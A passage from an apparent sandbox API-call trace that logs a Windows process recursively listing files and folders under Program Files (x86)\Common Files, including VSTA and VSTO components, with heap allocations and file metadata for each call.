ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0xe080, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0266.752] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a1a078a, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0xe080, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Contract.v9.0.dll", cAlternateFileName="MICROS~3.DLL")) returned 0 [0266.752] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0266.753] GetProcessHeap () returned 0xc10000 [0266.753] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0266.753] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a74a126, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a8ed9d5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a8ed9d5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HostSideAdapters", cAlternateFileName="HOSTSI~1")) returned 1 [0266.753] GetProcessHeap () returned 0xc10000 [0266.753] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0266.753] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTA\\Pipeline.v10.0\\HostSideAdapters\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a74a126, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a8ed9d5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a8ed9d5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0266.759] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a74a126, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a8ed9d5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a8ed9d5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.759] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a82eefe, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x9298, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0266.759] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a7701e7, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x13898, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0266.759] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a8ed9d5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x10088, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.HostAdapter.v10.0.dll", cAlternateFileName="MIF250~1.DLL")) returned 1 [0266.759] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a7701e7, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0xaa98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Outlook.HostAdapter.v10.0.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0266.759] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a7701e7, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x15090, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0266.759] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a7701e7, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x15090, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.dll", cAlternateFileName="MICROS~3.DLL")) returned 0 [0266.759] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0266.760] GetProcessHeap () returned 0xc10000 [0266.760] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0266.760] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87198d61, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xe276ff4f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x87362941, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x1fdc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PipelineSegments.store", cAlternateFileName="PIPELI~1.STO")) returned 1 [0266.760] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87198d61, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xe276ff4f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x87362941, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x1fdc1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PipelineSegments.store", cAlternateFileName="PIPELI~1.STO")) returned 0 [0266.761] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0266.761] GetProcessHeap () returned 0xc10000 [0266.761] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0266.761] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x163c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOFiles.cat", cAlternateFileName="VSTOFI~1.CAT")) returned 1 [0266.761] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x163c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOFiles.cat", cAlternateFileName="VSTOFI~1.CAT")) returned 0 [0266.761] FindClose (in: hFindFile=0x33e4d28 | out: hFindFile=0x33e4d28) returned 1 [0266.761] GetProcessHeap () returned 0xc10000 [0266.761] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0266.762] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a022e6b, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTO", cAlternateFileName="")) returned 1 [0266.762] GetProcessHeap () returned 0xc10000 [0266.762] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0266.762] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a022e6b, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0266.765] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a022e6b, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.765] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aebd53e, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0266.766] GetProcessHeap () returned 0xc10000 [0266.766] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0266.766] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aebd53e, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0266.768] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aebd53e, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.768] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a6fdac8, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0266.768] GetProcessHeap () returned 0xc10000 [0266.769] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0266.769] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a6fdac8, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4d28 [0266.769] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a6d7a0a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a6fdac8, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.769] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6d7a0a, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x30a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstallerUI.dll", cAlternateFileName="VSTOIN~1.DLL")) returned 1 [0266.769] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x5080, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1 [0266.769] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x5080, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 0 [0266.769] FindClose (in: hFindFile=0x33e4d28 | out: hFindFile=0x33e4d28) returned 1 [0266.770] GetProcessHeap () returned 0xc10000 [0266.770] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0266.770] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x142e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.exe", cAlternateFileName="VSTOIN~1.EXE")) returned 1 [0266.770] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4aebd53e, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x42470, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoader.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1 [0266.770] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0xc2e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 1 [0266.770] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4a6fdac8, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0xc2e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 0 [0266.770] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0266.770] GetProcessHeap () returned 0xc10000 [0266.770] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0266.770] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6340300, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0x4a022e6b, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xd6340300, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x87, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActionsPane3.xsd", cAlternateFileName="ACTION~1.XSD")) returned 1 [0266.770] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x1d280, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0266.770] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6340300, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xd6340300, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x4098, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee100.tlb", cAlternateFileName="VSTOEE~1.TLB")) returned 1 [0266.770] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6340300, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xd6340300, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x5490, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 1 [0266.770] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6340300, ftCreationTime.dwHighDateTime=0x1d0d6b2, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0xd6340300, ftLastWriteTime.dwHighDateTime=0x1d0d6b2, nFileSizeHigh=0x0, nFileSizeLow=0x5490, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 0 [0266.770] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0266.770] GetProcessHeap () returned 0xc10000 [0266.770] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0266.958] GetProcessHeap () returned 0xc10000 [0266.959] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0266.959] GetProcessHeap () returned 0xc10000 [0266.959] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0266.959] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Services\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb9ebb45, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a6c1993, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0266.961] GetProcessHeap () returned 0xc10000 [0266.961] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0266.961] GetProcessHeap () returned 0xc10000 [0266.961] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0266.961] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\System\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb9ecb1f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e28 [0266.963] GetProcessHeap () returned 0xc10000 [0266.963] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0266.964] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\System\\ado\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbba47a90, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7124ead2, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0266.966] GetProcessHeap () returned 0xc10000 [0266.966] RtlAllocateHeap 